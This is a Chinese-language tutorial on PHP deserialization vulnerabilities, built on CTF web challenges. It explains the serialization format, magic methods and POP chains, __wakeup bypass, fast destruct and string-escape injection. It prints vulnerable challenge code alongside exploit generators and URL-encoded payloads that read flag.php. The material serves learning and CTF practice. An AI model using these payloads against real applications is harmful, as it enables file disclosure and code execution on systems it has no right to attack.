PHP反序列化

php反序列化漏洞基础

概念

  • 序列化:是将变量转换为可保存或传输的字符串的过程;实现函数是serialize()
  • 反序列化:就是在适当的时候把这个字符串再转化成原来的变量使用,就是序列化的逆过程。实现函数是unserialize()

序列化和反序列化结合起来,可以轻松地存储和传输数据,使程序更具维护性。

序列化格式

类型 结构
Object O:length:class name:attribute number:{attr1;value1;attr2;value2;}
Array a:number:{key1;value1;key2;value2;}
String s:length:value;
Integer i:value;
Boolean b:value; //(0=False,1=True)
Null N;
Double d:value;
pointer reference R:number
1
2
3
4
5
6
7
8
9
10
11
12
<?php
class example{
protected $string="test";
private $integer=1;
var $null=null;
public $double=1.2;
public $bool=True;
}
echo serialize(new example());
?>
//输出为
//O:7:"example":5:{s:9:"*string";s:4:"test";s:16:"exampleinteger";i:1;s:4:"null";N;s:6:"double";d:1.2;s:4:"bool";b:1;}

对象字段(属性)名的序列化规则:

var和public:var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号$。

protected:声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的\0表示 ASCII 码为0的字符,属于不可见字符,因此该字段的长度会比可见字符长度大3。

private:声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。私有字段的字段名在序列化时,字段名前面会加上\0\0前缀。这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。

1
2
3
4
5
6
7
<?php
$arr=array('string'=>'test','integer'=>1,'null'=>null,'double'=>1.2,'bool'=>T
rue);
echo serialize($arr);
?>
//输出为:
//a:5:{s:6:"string";s:4:"test";s:7:"integer";i:1;s:4:"null";N;s:6:"double";d:1.2;s:4:"bool";b:1;}

反序列化漏洞

反序列化漏洞:也叫对象注入,就是当程序在进行反序列化时,会自动调用一些函数,但是如果传入函 数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

可以理解为程序在执行unserialize()函数是,自动执行了某些魔术方法(magic method),而魔术方法的参数被用户所控制(通过控制属性来控制参数),这就会产生安全问题。

漏洞利用条件:

  • unserialize()函数的参数可控。
  • 存在可利用的魔术方法。

出现场景:

  • 代码审计;
  • 服务器源码泄露后挖掘漏洞;
  • CTF-WEB题目。

属性赋值

要利用反序列化漏洞,必须向unserialize()函数传入构造的序列化数据(定义合适的属性值)。那么,如何构造序列化数据呢?

image-20230507195901971

直接写序列化数据显示是不合适的,因为序列化数据不符合人类直观,很容易出错。实际上,都是利用serialize()函数来生成序列化数据的。

生成步骤:

  1. 把题目代码复制到本地;
  2. 注释掉与属性无关的内容(方法和没用的代码);
  3. 对属性赋值;
  4. 输出url编码后的序列化数据:

​ echo(urlencode(serialize(new DEMO1())));

  1. 将序列化数据发送到目标服务器。

进行URL编码的原因:

  1. 原始的序列化数据可能存在不可见字符;
  2. 如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码。

那么如何对属性赋值呢?主要有3种方法:

  1. 直接在属性中赋值:优点是方便,缺点是只能赋值字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class DEMO{
public $func='evil';
public $arg='phpinfo();';
# public function safe(){
# echo $this->arg;
# }
# public function evil(){
# eval($this->arg);
# }
# public function run(){
# $this->{$this->func}();
# }
# function __construct(){
# $this->func = 'evil';
# }
}
# $obj=unserialize($_GET['a']);
# $obj->run();
echo(urlencode(serialize(new DEMO())));
?>
  1. 外部赋值:优点是可以赋值任意类型的值,缺点是只能操作public属性。
1
2
3
4
5
6
7
8
9
<?php
class DEMO{
public $func;
public $arg ;
}
$o = new DEMO();
$o->func = 'evil';
$o->arg = 'phpinfo();';
echo(urlencode(serialize($o)));
1
小技巧:对于php7.1+的版本,反序列化对属性类型不敏感。尽管题目的类下的属性可能不是public,但是我们可以本地改成public,然后生成public的序列化字符串。由于7.1+版本的容错机制,尽管属性类型错误,php也认识,也可以反序列化成功。基于此,可以绕过诸如 \0 字符的过滤。
  1. 构造方法赋值(万能方法):优点是解决了上述的全部缺点,缺点是有点麻烦
1
2
3
4
5
6
7
8
9
10
11
<?php
class DEMO{
public $func;
public $arg ;
function __construct(){
$this->func = 'evil';
$this->arg='phpinfo();';
}
}
$o = new DEMO();
echo(urlencode(serialize($o)));

魔术方法

上面的例子是有一个 $obj->run() 函数来执行注入的命令,这是为了演示漏洞利用,实际上但是大多数服务器代码是没有这个运行函数。这时,需要可以自动执行的魔术方法。

魔术方法是一种特殊的方法,在某些情况下会自动调用。魔术方法的命名是以两个下划线开头的,常见的魔术方法有:

1
2
3
4
5
6
7
8
9
10
11
12
13
__construct() //对象创建(new)时会自动调用。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get($key) //用于从不可访问的属性读取数据,$key就是不存在的属性
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把对象当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__autoload() //在代码中当调用不存在的类时会自动调用该方法。

反序列化基础利用

第一题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Login{
private $user = "Y1ng";

function __destruct()
{
if ($this->user == "admin") {
echo $flag;
} else {
echo "you are not my admin!";
exit;
}
}

}

$exp = $_GET['exp'];
unserialize(@$exp);

将user的值改为 admin ,并生成序列化数

1
2
3
4
5
6
<?php
class Login{
private $user = "admin";
}
echo urlencode(serialize(new Login()));
?>
1
2
得到
O%3A5%3A%22Login%22%3A1%3A%7Bs%3A11%3A%22%00Login%00user%22%3Bs%3A5%3A%22admin%22%3B%7D

第二题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(1);

class Read
{
public function get_file($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
class Show
{
public $source;
public $var;
public $class1;
public function __construct($name='index.php')
{
$this->source = $name;
echo $this->source.' Welcome'."<br>";
}

public function __toString()
{
$content = $this->class1->get_file($this->var);
echo $content;
return $content;
}

public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}

}

public function Change()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
}
}
public function __get($key){
$function=$this->$key;
$this->{$key}();
}
}

if(isset($_GET['sid']))
{
$sid=$_GET['sid'];
$config=unserialize($_GET['config']);
$config->$sid;
}
else
{
$show = new Show('index2.php');
$show->_show();
}

解题思路:

  1. 构造利用链,就要找到头和尾。再想办法把头和尾连接起来。
  2. $sid 和 $config 是用户输入可以控制的,这是利用链的头部。
  3. 最终目的是读取flag.php文件,就要从源代码中需要可以读文件或者执行系统命令的地方。 Read-get_file 和 Show->_show 可以读取文件,但是 Show->_show 函数不允许出现flag。因此, Read-get_file 就是POP链的尾部。
  4. 如何触发 Read->get_file 呢?搜索get_file发现, Show->__toString 中存在代码
1
$content = $this->class1->get_file($this->var);

那么,只需要令

1
2
$this->class1=new Read;
$this->var='flag.php'

即可触发get_file,并得到flag.php的内容(base64编码格式)。
5. 那么如何触发 Show->__toString 呢?本题存在手动触发函数的命令 $config->$sid; ,参数是用户控制的(POP链的头部),因此可以令:

1
2
$config=new Show;
$sid='__toString';

这样就完成了POP链的构造。

解法一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Read
{
}
class Show
{
public $source;
public $var = 'flag.php';
public $class1;
}
$s = new Show;
$s->class1 = new Read;
echo(urlencode(serialize($s)));
//得到payload:
config=O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%2
2var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Rea
d%22%3A0%3A%7B%7D%7D&sid=__toString

解法二:由于__toString 是魔术方法,还可以自动触发,触发条件为“把对象当成字符串使用”,那么就需要寻找使用字符串的地方,传入对象,就可以触发 __toString 了。本题中preg_match函数的参数就是字符串,因此需要

$this->source=Show;//this就是当前的类,因此本题要生成连个Show类,其中一个Show类的 source属性值为另一个Show类

再利用 $config->$sid 触发 Show->Change 或者 Show->_show 方法即可。payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Read
{
}
class Show
{
public $source;
public $var = 'flag.php';
public $class1;
}
$r = new Read;
$s = new Show;
$s->class1 = $r;
$s2 = new Show;
$s2->source = $s;
echo(urlencode(serialize($s2)));
//得到payload:
config=O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Sho
w%22%3A3%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22var%22%3Bs%3A8%3A%22
flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7Ds
%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BN%3B%
7D&sid=Change

POP链

概念

POP链:POP(面向属性编程)链是指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链。

反序列化利用就是要找到合适的POP链。其实就是构造一条符合原代码需求的链条,去找到可以控制的属性或方法,从而构造POP链达到攻击的目的。

寻找POP链的思路:

  1. 寻找unserialize()函数的参数是否可控;
  2. 寻找反序列化想要执行的目标函数,重点寻找魔术方法(比如 __wakeup() 和 __destruct() );
  3. 一层一层地研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方
    法;
  4. 根据我们要控制的属性,构造序列化数据,发起攻击。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
class Vox{
protected $headset;
public $sound;
public function fun($pulse){
include($pulse);
}
public function __invoke(){
$this->fun($this->headset);
}
}

class Saw{
public $fearless;
public $gun;
public function __construct($file='index.php'){
$this->fearless = $file;
echo $this->fearless . ' You are in my range!'."<br>";
}

public function __toString(){
$this->gun['gun']->fearless;
return "Saw";
}

public function _pain(){
if($this->fearless){
highlight_file($this->fearless);
}
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
echo "Does it hurt? That's right";
$this->fearless = "index3.php";
}
}
}

class Petal{
public $seed;
public function __construct(){
$this->seed = array();
}

public function __get($sun){
$Nourishment = $this->seed;
return $Nourishment();
}
}

if(isset($_GET['ozo'])){
unserialize($_GET['ozo']);
}
else{
$Saw = new Saw('index3.php');
$Saw->_pain();
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
class Vox{
public $sound;

}
class Saw{
public $fearless;
public $gun;
}
class Petal
{
public $seed;
}
$V=new Vox;
$P=new Petal;
$P->seed=$V;
$S=new Saw();
$S->gun=array('gun'=>$P);
$S2=new Saw;
$S2->fearless=$S;
echo(urlencode(serialize($S2)));
//得到payload:

畸形序列化字符串

畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。

应用领域:

  1. 绕过 __wakeup()
  2. 快速析构(fast destruct):绕过过滤函数,提前执行 __destruct

绕过__wakeup

由于使用unserialize()函数后会立即触发 __wakeup ,为了绕过 __wakeup 中的安全机制,可以用修改属性数量的方式绕过 __wakeup 方法。受影响版本:

php5.0.0 ~ php5.6.25
php7.0.0 ~ php7.0.10

绕过方法:

  1. 反序列化时,修改对象的属性数量,将原数量+n,那么__wakeup方法将不再调用。比如:
1
2
3
4
//标准序列化数据
O:3:"BUU":2:{s:7:"correct";N;s:5:"input";R:2;}
//修改为:
O:3:"BUU":3:{s:7:"correct";N;s:5:"input";R:2;}

2.增加真实属性的个数,比如

1
2
3
4
5
6
原始序列化数据
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}
增加真实属性的个数
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;}
或者:
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";s:1:"n":N;}}

快速析构

快速析构的原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法( __destruct() )。

应用场景:某些题目需要利用 __destruct 才能获取flag,但是 __destruct 是在对象被销毁时才触发(执行顺序太靠后), __destruct 之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发__destruct 方法。

畸形字符串的构造

  1. 改掉属性的个数
  2. 删掉结尾的 }

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class DemoX{
protected $user;
protected $sex;
function __construct(){
$this->user = "guest";
$this->sex = "male";
}

function __wakeup(){
$this->user = "Guest";
$this->sex = "female";
}

function __toString(){
return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";
}

function __destruct()
{
echo $this;
}
}

class Demo2{
private $fffl4g;

function __construct($file){
$this->fffl4g = $file;
}

function __toString(){
return file_get_contents($this->fffl4g);
}
}

if(!isset($_GET['poc'])){
highlight_file("index.php");
}
else {
$user = unserialize($_GET['poc']);
}
1
2
3
DemoX->__destruct()//不能执行DemoX->__wakeup()
DemoX->__toString()
Demo2->__toString()
  1. 怎样执行绕过 DemoX->__wakeup() ?先生成正常的序列化数据,再改变属性个数。

  2. exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class DemoX{
protected $user;
protected $sex;
function __construct(){
$this->user = new Demo2;
$this->sex = "xxx";
}
}
class Demo2{
private $fffl4g="flag.php";
}
$user = new DemoX();
$user = serialize($user);
echo $user . "\n";
echo urlencode($user);

执行得到

1
2
3
4
5
6
7
8
9
O:5:"DemoX":2:{s:7:" * user";O:5:"Demo2":1:{s:13:" Demo2
fffl4g";s:8:"flag.php";}s:6:" * sex";s:3:"xxx";}
O%3A5%3A%22DemoX%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Dem
o2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22%
3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22xxx%22%3B%7D
//通过对比,定位到属性个数为2的数据,然后修改为3,得到payload:
O%3A5%3A%22DemoX%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Dem
o2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22%
3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22xxx%22%3B%7D

指针问题

指针

用 & 符号可以进行指针引用,类似于C语言中的指针。

例如: 1 $a=&$b;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class Seri{
public $alize;
public function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag();
}
}
class Alize{
public $f;
public $t1;
public $t2;

function __construct($file){
echo "Another construction!!";
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}

public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
} else {
echo "no";
}
}
}
$p = $_GET['p'];
if (isset($p)) {
$p = unserialize($p);
} else {
show_source(__FILE__);
// echo "NONONO";
}
?>

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class Seri{
public $alize;
// public function
__construct($alize) {
// $this->alize = $alize;
// }
// public function __destruct(){
// $this->alize->getFlag();
// }
}
class Alize{
public $f;
public $t1;
public $t2;
// function __construct($file){
// echo "Another
construction!!";
// $this->f = $file;
// $this->t1 = $this->t2 =
md5(rand(1,10000));
// }
// public function getFlag(){
// $this->t2 =
md5(rand(1,10000));
// echo $this->t1;
// echo $this->t2;
// if($this->t1 === $this->t2)
// {
// if(isset($this->f)){
// echo
@highlight_file($this->f,true);
// }
// } else {
// echo "no";
// }
// }
}
$f=new Alize;
$f->f='flag.php';
$f->t1=&$f->t2;
$s=new Seri;
$s->alize=$f;
echo(urlencode(serialize($s)));

反序列化字符逃逸

字符逃逸

字符逃逸本质:对序列化字符串进行不等长的字符串替换,导致本来属于普通字符串的一部分字符串变成了序列化的一部分,或者导致本来不属于字符串的一部分变成了字符串的一部分,进而造成了序列化数据的错乱,导致了对象注入。

思路:

  1. 写出基本序列化
  2. 写出注入的对象
  3. 分析是长到短还是短到长的替换,决定要把对象注入
    到什么地方
  4. 算清楚替换的差值,计算需要吃掉或挤出(逃逸)的
    字符串的长度,保证这个长度是替换的差值的整数
    倍,如果不能保证,加字符串
  5. 构造替换,对象注入。

类型:长到短的替换:在第一个元素进行替换,进而吃掉第二个元素的约束,第二个元素就逃逸出来了。短到长的替换:直接在替换位点后面跟上注入的对象,注入对象就可以逃逸出来。

长到短替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'world';
function __destruct(){
$c = 'hello'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
$b = unserialize(read(write(serialize($a))));

解析源码:

‘\0\0\0’:单引号表示\0是2个字符;如果是双引号,则\0表示转义,是1个字符

write:进行有3字节到6字节的替换,属于短到长的替。

read:进行6字节到3字节的替换,属于长到短的替换。

$b=unserialize(read(write(serialize($a)))):如果serialize($a)中有\0\0\0字符串,但是没有chr(0).’*’.chr(0)字符串,则write函数不会起作用,相当于只执行了read函数,就进行了长到短的替换,会发生字符逃逸。

构造数据: 1. 得到基础的序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//因为要替换serialize($a)中的字符串,所以先
要得到class A的序列化数据
<?php
class A{
public $username='UN';
public $password='PW';
// function __construct($a,$b){
// $this->username=$a;
// $this->password=$b;
// }
}
echo serialize(new A);
//假设username=UN,password=PW,得到序列化
字符串
O:1:"A":2:
{s:8:"username";s:2:"UN";s:8:"password
";s:2:"PW";}

2.用类似的方法得到类B和类C的序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class B{
public $b;
// function __destruct(){
// $c='hello'.$this->b;
// echo $c;
// }
}
class C{
public $c='flag.php';
// function __toString(){
// echo
file_get_contents($this->c);
// return 'nice';
// }
}
$b=new B;
$c=new C;
$b->b=$c;
echo serialize($b);
//得到B和C的序列化字符串,也是核心payload
O:1:"B":1:{s:1:"b";O:1:"C":1:
{s:1:"c";s:8:"flag.php";}}

3.注入payload,并调整格式(这是关键,错1个字节就 全部错误了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
A:
O:1:"A":2:
{s:8:"username";s:2:"UN";s:8:"password";s:2:"PW";}

B和C:表示要注入的命令

O:1:"B":1:{s:1:"b";O:1:"C":1:
{s:1:"c";s:8:"flag.php";}}

将password值PW替换为要注入的命令:

O:1:"A":2:{s:8:"username";s:2:"UN";s:8:"password
";s:2:"O:1:"B":1:{s:1:"b";O:1:"C":1:
{s:1:"c";s:8:"flag.php";}}";}

我们希望长到短替换后,将serialize得到
的";s:8:"password被视作username值的一部
分,接着我们自己输入password属性名,就可以将
核心payload作为password属性的值了:

O:1:"A":2:
{s:8:"username";s:2:"UN";s:8:"password";s:2:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

最后会多出了"; 这里不能像sql注入那样添加注
释,可以写一个空属性来闭合多余的";

O:1:"A":2:
{s:8:"username";s:2:"UN";s:8:"password";s:2:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"";}

这样就得到了参数b初步的值:

;s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"

长度为83,所以前面的s:2:"要改为s:83:"
想要在username处吃掉的字符串为(长度是22字
节):

";s:8:"password";s:83:

read函数每次替换吃掉3字节,但是现在需要吃掉22字节,这就需要再补充2字节,凑成3的倍数(只能加字节,不能减字节,否则会破坏序列化数据的结构)。加字节不能在a参数处,只能在b参数的头部处,可以添加x",这样得到参数b最终的值:
x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"

由于24/3=8,所以需要替换8次,那么参数a的值
为:
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0

将参数a和b的值传递到服务器(urlencode格式),
a=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&b=x%22;s:8:%22password%22;O:1:%22B%22:1:%7Bs:1:%22b%22;O:1:%22C%22:1:%7Bs:1:%22c%22;s:8:%22flag.php%22;%7D%7Ds:0:%22%22;s:0:%22

可以得到flag:在网页源代码中看到
flag{a6c175ea-d851-5cf1-cd6f-3aad733ae896}

短到长替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
show_source(__FILE__);
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'world';
function __destruct(){
$c = 'hello'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
$b = unserialize(write(read(serialize($a))));

解题:

  1. 类似于长到短替换,首先得到A的序列化字符串和需 要注入的核心payload(注入命令):
1
2
3
4
5
6
7
8
A:
O:1:"A":2:
{s:8:"username";s:2:"UN";s:8:"password";s:2:"PW";}

B和C:

O:1:"B":1:{s:1:"b";O:1:"C":1:
{s:1:"c";s:8:"flag.php";}}

2.由于本题是短到长的替换,只需要将注入命令放在 username处,并且在注入命令之前补充合适数量的 chr(0).’*’.chr(0)即可。这样经过替换,字节数 变多,那么注入命令就被“挤出来”了,即逃逸成功。 3. 注入payload,并调整格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//将注入命令放在username属性值处
O:1:"A":2:
{s:8:"username";s:2:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:2:"PW";}

//在注入命令前补充闭合之前的属性值,并添加新
的属性名(这样使注入命令成为新添加的属性名的
值)
O:1:"A":2:
{s:8:"username";s:2:"";s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:2:"PW";}

//注入命令逃逸后,还多了"; 需要补充数据闭合掉
多余部分:
O:1:"A":2:
{s:8:"username";s:2:"";s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"";s:8:"password";s:2:"PW";}

//这样就得到需要逃逸出来的命令数据(长度为77
字节):
";s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"

//由于write函数每替换一次,增加3字节,所以逃
逸数据长度必须是3的倍数,需要给逃逸数据增加1
字节(只能加,不能减),得到最终的需逃逸的命令
数据:
";s:2:"aa";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"

//在逃逸数据前补充78/3=26个
chr(0).'*'.chr(0)即可,使用命令
urlencode(str_repeat(chr(0).'*'.chr(0),26).'";s:2:"aa";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"
')

//得到需要传递给a参数的数据(b参数这里用不
到,随便传数据):
a=%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%22%3Bs%3A2%3A%22aa%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A1%3A%22c%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7Ds%3A0%3A%22%22%3Bs%3A0%3A%22&b=123